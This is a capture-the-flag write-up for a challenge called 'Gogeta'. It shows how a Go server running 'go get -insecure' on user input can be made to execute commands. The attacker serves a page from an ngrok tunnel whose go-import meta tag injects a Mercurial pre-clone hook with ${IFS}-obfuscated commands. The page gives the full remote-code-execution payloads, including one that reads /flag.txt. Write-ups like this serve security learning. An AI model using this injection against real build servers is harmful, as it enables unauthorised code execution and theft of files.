Gogeta

Summary

We won’t fight the regex and we won’t try to inject into a shell. Instead, we’ll hand the server a benign-looking import path that points to our own web page. That page serves a malicious <meta name="go-import"> tag which makes go get -insecure invoke Mercurial with attacker-controlled flags and execute our command on the target. Once we prove code execution by echoing something simple, we swap the command to cat /flag.txt and recover the flag.

Start

The challenge ships three files (whitebox):

  • Dockerfile (base image golang:1.9.4, installs mercurial, drops /flag.txt)

  • main.go (the server)

  • index.html (simple form)

Two facts jump out immediately from the Dockerfile:

  • The Go toolchain is old (1.9.4) and Mercurial is installed.

  • A flag exists at /flag.txt.

/submit

var validURL = regexp.MustCompile(`^[a-zA-Z0-9.-]+(:[0-9]+)?\/[a-zA-Z0-9/_\-\.]+$`)

func submitHandler(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()
    url := r.FormValue("url")
    if !validURL.MatchString(url) {
        tmpl.Execute(w, "❌ Invalid format. Use domain.com[:port]/package")
        return
    }
    cmd := exec.Command("go", "get", "-insecure", url)
    out, err := cmd.CombinedOutput()
    resp := string(out)
    if err != nil { resp += "\n[!] Error: " + err.Error() }
    tmpl.Execute(w, resp)
}
  • exec.Command passes argv, not through a shell ⇒ ;, &&, spaces in our form value won’t get you OS cmd injection.

  • The regex only enforces a host[/path] shape; it doesn’t make the remote content trustworthy.

  • All tool output is reflected back to us, so any command’s stdout/stderr will be visible in the page.

So where does the execution vector come from if not from our text field? From what go get does next.

Where the execution actually happens

When you feed go get a vanity import path like example.com/pkg, it first fetches http://example.com/pkg and looks for:

<meta name="go-import" content="example.com/pkg <vcs> <repo-url>">

Older go get behavior with -insecure trusted that <vcs> token too much. If an attacker serves:

<vcs> = "hg --config=hooks.pre-clone=<OUR_COMMAND>"

then the Go tool ends up invoking hg with our extra flags, which can register a hook that runs our command. This is why Mercurial being present in the image is such a loud hint.

Steps for Exploitation

1-Pick your attacker hostname

# Terminal A 
ngrok http 80

2-Create the file structure the Go tool expects

go get will request http://HOST/PATH?go-get=1 to find a go-import tag. We’ll serve that tag from /PATH/index.html.

# Terminal B (your machine)
mkdir -p ~/evil/pkg
cd ~/evil
nano pkg/index.html

# Replace HOST with your ngrok subdomain
# The regex rejects http:// / https://
<!doctype html><html><head>
  <meta name="go-import"
        content="HOST/pkg hg --config=hooks.pre-clone=echo${IFS}PWNED;echo${IFS}https://>/dev/null">
</head><body>ok</body></html>

# Serve from the **parent** of 'pkg' so /pkg is a folder
python3 -m http.server 80
  • go get -insecure fetches http://HOST/PATH?go-get=1, reads the <meta name="go-import">.

  • We lie in the content= field: we set the VCS to hg --config=hooks.pre-clone=<our command>.

  • The Go tool invokes hg with our extra flag, which runs our command.

3-Trigger it from the challenge

In the challenge’s form, submit exactly:

1234abcd.ngrok-free.app/pkg

Great now we confirmed RCE time to get the flag

replace the command instead of echo pwned to cat the flag

<meta name="go-import"
      content="YOURHOST/pkg hg --config=hooks.pre-clone=cat${IFS}/flag.txt;echo${IFS}https://>/dev/null">

Last updated

Was this helpful?